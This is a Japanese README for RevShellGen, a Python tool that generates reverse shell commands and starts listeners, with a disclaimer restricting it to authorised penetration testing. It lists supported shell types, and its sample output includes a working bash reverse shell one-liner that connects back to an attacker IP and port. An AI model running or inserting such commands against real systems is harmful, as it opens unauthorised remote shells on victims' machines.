
Python 3で書かれたリバースシェルジェネレータ。
リバースシェルジェネレーター
リバースシェル生成をスタイリッシュに自動化
手間をかけずにリバースシェルを生成、エンコード、待ち受け
RevShellGenは、リバースシェルコマンドの生成プロセスを簡素化する強力なコマンドラインツールです。構文の調べ直し、手動エンコード、設定の悩みはもう不要です。このツールは直感的なインターフェースで全てを処理します。
# PyPIからインストール
pip install revshellgen
# ツールを実行
revshellgen
# リポジトリをクローン
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# 依存関係をインストール
pip3 install -r requirements.txt
# ツールを実行
python3 revshellgen.py # または python3 revshellgen_cli.py
RevShellGenには以下のPythonパッケージが必要です:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Windowsの場合: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# python3-devのインストールが必要な場合があります
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# より優れたリスナーサポートのためにncatをインストール
brew install nmap # ncatが含まれます
ツールを起動
python3 revshellgen.py
リバースシェルを設定
生成されたコマンドが自動的にクリップボードにコピーされます
リスナーを起動(自動)
ターゲットマシンでコマンドを実行
![]() シェル選択 |
![]() コマンド生成 |
RevShellGenには包括的なTTYアップグレード手順が含まれています。シェルを取得した後、ツールは以下を提供します:
ツールは適切なnetcatのバリアントを自動検出して使用します:
ncat(推奨、nmapパッケージ由来)nc(従来のnetcat)nc構文サポート$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ IP選択 ] ----------
[ x ] 192.168.1.10 on eth0
[ ] 10.0.0.5 on tun0
[ ] 手動入力
---------- [ ポート指定 ] ----------
[ # ] ポート番号を入力 : 4444
---------- [ コマンド選択 ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ リバースシェルコマンド ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] コマンドをクリップボードにコピーしました!
[ + ] ポート4444でリスナーを起動中...
コントリビューションを歓迎します!プルリクエストを送信してください。大きな変更を加える場合は、まずIssueを開いて変更内容について議論してください。
# フォークをクローン
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen
# ブランチを作成
git checkout -b feature/your-feature-name
# 変更を加えてコミット
git add .
git commit -m "Add your feature"
# フォークにプッシュ
git push origin feature/your-feature-name
# プルリクエストを作成
バグを見つけたり、提案がありますか?GitHubでIssueを開いてください。
このプロジェクトはGNU General Public License v3.0の下でライセンスされています。詳細はLICENSEファイルを参照してください。
このツールは、許可された侵入テストおよび教育目的のみを対象としています。
所有していない、または明示的な許可を得ていないシステムに対してこのツールを使用することは違法です。エンドユーザーは、該当するすべての地域、州、および連邦法を遵守する責任を負います。開発者は一切の責任を負わず、このプログラムの誤用や損害についても責任を負いません。
| パッケージ | 目的 |
|---|
pyperclip | クリップボード操作 |
colorama | ターミナルカラー |
readchar | 対話型キー入力 |
netifaces | ネットワークインターフェース検出 |
| シェルタイプ | 説明 | プラットフォーム |
|---|
| Bash | Bash TCPリバースシェル | Linux/Unix |
| Python | Pythonベースのリバースシェル | クロスプラットフォーム |
| Netcat | 従来のncリバースシェル | Linux/Unix |
| Netcat mkfifo | 名前付きパイプを使用したNetcat | Linux/Unix |
| Perl | Perlベースのリバースシェル | クロスプラットフォーム |
| PHP | PHPリバースシェル | クロスプラットフォーム |
| Ruby | Rubyベースのリバースシェル | クロスプラットフォーム |
| Java | Javaリバースシェル | クロスプラットフォーム |
| AWK | AWKリバースシェル | Linux/Unix |
| Socat | Socatリバースシェル | Linux/Unix |
| Socat TTY | 完全なTTYを備えたSocat | Linux/Unix |
| Telnet | Telnetリバースシェル | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |